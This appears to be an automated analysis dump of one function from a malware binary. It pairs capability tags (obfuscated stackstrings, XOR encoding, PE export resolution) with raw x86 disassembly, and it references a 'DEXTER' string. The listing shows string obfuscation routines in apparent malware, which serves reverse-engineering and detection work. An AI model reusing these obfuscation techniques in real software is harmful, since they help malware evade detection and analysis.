Function at 0x40a670
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xa8
cmp dword [ecx + 0x20], 0
je 0x40a6b9
mov esi, ecx
movzx eax, byte [ecx]
mov byte [esp + 0xb], 0
test eax, eax
je 0x40a6c0
cmp al, 0x64
jb 0x40a6cb
lea ecx, [eax + eax*4]
lea edx, [eax + ecx*8]
shr edx, 0xc
imul ecx, edx, 0x64
sub al, cl
movzx eax, al
movzx eax, word [eax + eax + 0x442318]
mov word [esp + 9], ax
mov ecx, 0xfffffffd
mov eax, edx
jmp 0x40a6d4
mov bl, 1
jmp 0x40ac00
lea ebx, [esp + 0xa]
mov byte [esp + 0xa], 0x30
jmp 0x40a6fa
mov ecx, 0xffffffff
cmp al, 9
ja 0x40a6e9
lea edx, [esp + 0xc]
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
lea ebx, [edx + ecx]
dec ebx
mov byte [esp + ecx + 0xb], al
jmp 0x40a6fa
movzx eax, word [eax + eax + 0x442318]
lea ebx, [esp + 9]
mov word [esp + 9], ax
lea eax, [esi + 0x10]
push eax
call fcn.00407620
add esp, 4
mov ebp, dword [esi + 0x10]
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 0x1c], eax
lea eax, [ebp + 0x400]
push eax
call fcn.00409620
add esp, 4
mov edi, eax
mov dword [esp + 0x20], 0xe1b0b
mov byte [esp + 0x24], 0xe7
mov dword [esp + 0x25], 0
mov dword [esp + 0x28], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xb
ja 0x40a78c
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
mov edx, 0x5d
sub edx, eax
add eax, ecx
not ecx
or edx, ecx
lea eax, [eax + edx*2]
add eax, 0xbfc42a4
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0xbf
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xc
jb 0x40a750
lea eax, [esp + 0x20]
mov ecx, esi
push 0x4495a8
push eax
push edi
call fcn.0040a030
mov dword [esp + 0x20], 0x1489818b
mov word [esp + 0x24], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 5
ja 0x40a7fb
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
lea edx, [eax + ecx]
add eax, 0xc6
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0xee6b7dc6
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0xc]
add al, 0x23
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x40a7c0
mov ecx, esi
push ebx
lea ebx, [esp + 0x24]
push ebx
push edi
call fcn.0040a030
mov eax, dword [str.hRjzG3__DEXTER]
mov dword [esp + 0x20], 0x84272b2d
mov byte [esp + 0x24], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 4
ja 0x40a860
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x20]
add ecx, 0x30daaa1
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0xe0
mov edx, dword [esp]
mov byte [esp + edx + 0x20], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 5
jb 0x40a830
mov ecx, esi
push eax
push ebx
push edi
call fcn.0040a030
mov dword [esp + 0x20], 0x710382b
mov dword [esp + 0x24], 0x10030c03
mov dword [esp + 0x28], 0xe010413
mov byte [esp + 0x2c], 0xe8
mov word [esp + 0x2d], 0
mov byte [esp + 0x2f], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xf
ja 0x40a8e9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
mov edx, eax
and edx, 0x110a791e
xor eax, 0x110a791e
lea eax, [eax + edx*2]
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0x3e
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x10
jb 0x40a8b0
mov dword [esp + 0xc], 0x1a97857a
mov word [esp + 0x10], 0
mov byte [esp + 0x12], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 6
ja 0x40a960
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0xc]
lea edx, [eax - 0x1518627c]
lea ebx, [eax + ecx]
add ebx, 0xeae79d84
add eax, 0x84
or eax, edx
and eax, ecx
sub ebx, eax
mov ecx, ebx
xor ecx, eax
not eax
and eax, ebx
add eax, eax
sub eax, ecx
mov dword [esp], eax
mov eax, dword [esp]
add al, 0x63
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0xc], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 7
jb 0x40a910
lea eax, [esp + 0xc]
mov ecx, esi
lea ebx, [esp + 0x20]
push ebx
push eax
push edi
call fcn.0040a030
mov dword [esp + 0x20], 0x6e6a686a
mov byte [esp + 0x24], 0xc4
mov dword [esp + 0x25], 0
mov dword [esp + 0x28], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xb
ja 0x40a9ce
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
add eax, 0x9b2a6fb3
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0x8d
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xc
jb 0x40a9a0
mov ecx, esi
push ebp
push dword [esp + 0x20]
push ebx
push edi
call fcn.0040a2a0
mov eax, dword [esi + 0x60]
mov dword [esp + 0x20], 0xd7a1d597
mov dword [esp + 0x24], 0xd35ed1a6
mov dword [esp + 0x28], 0xef98ed91
mov dword [esp + 0x2c], 0xebdfe964
mov dword [esp + 0x30], 0xe76fe588
mov dword [esp + 0x34], 0xe39fe190
mov dword [esp + 0x38], 0xffdefdb6
mov dword [esp + 0x3c], 0xfb77f98d
mov dword [esp + 0x40], 0xf77af580
mov dword [esp + 0x44], 0xf382f189
mov dword [esp + 0x48], 0xf7c0d6d
mov dword [esp + 0x4c], 0xb3d0984
mov dword [esp + 0x50], 0x771057a
mov dword [esp + 0x54], 0x3770172
mov dword [esp + 0x58], 0x1f621d29
mov dword [esp + 0x5c], 0x1b961979
mov dword [esp + 0x60], 0x175d1575
mov dword [esp + 0x64], 0x13701130
mov dword [esp + 0x68], 0x2fa32d5b
mov dword [esp + 0x6c], 0x2b56295e
mov dword [esp + 0x70], 0x27542545
mov dword [esp + 0x74], 0x236721a9
mov dword [esp + 0x78], 0x3f433d5e
mov dword [esp + 0x7c], 0x3b773970
mov dword [esp + 0x80], 0x374b3548
mov dword [esp + 0x84], 0x334b317d
mov dword [esp + 0x88], 0x4f324d3c
mov dword [esp + 0x8c], 0x4b29493f
mov dword [esp + 0x90], 0x473b453d
mov dword [esp + 0x94], 0x43304132
mov dword [esp + 0x98], 0x5f6f5d21
mov dword [esp + 0x9c], 0x5b40594d
mov word [esp + 0xa0], 0x5554
mov dword [esp + 0xa2], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x85
ja 0x40ab5f
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x20]
add ecx, 0x6240e1d8
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
mov edx, ecx
not edx
and edx, 0xc
and ecx, 0xf3
sub ecx, edx
mov edx, dword [esp]
mov byte [esp + edx + 0x20], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x86
jb 0x40ab20
mov dword [esp + 0xc], 0x983a9a66
mov dword [esp + 0x10], 0x9c369e29
mov dword [esp + 0x14], 0x629d
mov byte [esp + 0x18], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 0xc
ja 0x40abc3
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 0xc]
add ecx, 0x145d1977
xor ecx, edx
mov dword [esp], ecx
mov ecx, dword [esp]
add cl, 0x1e
mov edx, dword [esp + 4]
mov byte [esp + edx + 0xc], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 0xd
jb 0x40ab90
push 0x493e0
push eax
push edi
push 0
push 0
push ebx
lea eax, [esp + 0x24]
push eax
call fcn.0040cb40
add esp, 0x1c
mov ebx, eax
push edi
call fcn.00409630
add esp, 4
mov eax, dword [esi + 4]
mov ecx, dword [esi + 0x60]
mov edx, eax
and edx, ecx
xor eax, ecx
lea eax, [eax + edx*2]
mov dword [esi + 4], eax
mov dword [esi + 0x60], 0
mov eax, ebx
add esp, 0xa8
pop esi
pop edi
pop ebx
pop ebp
ret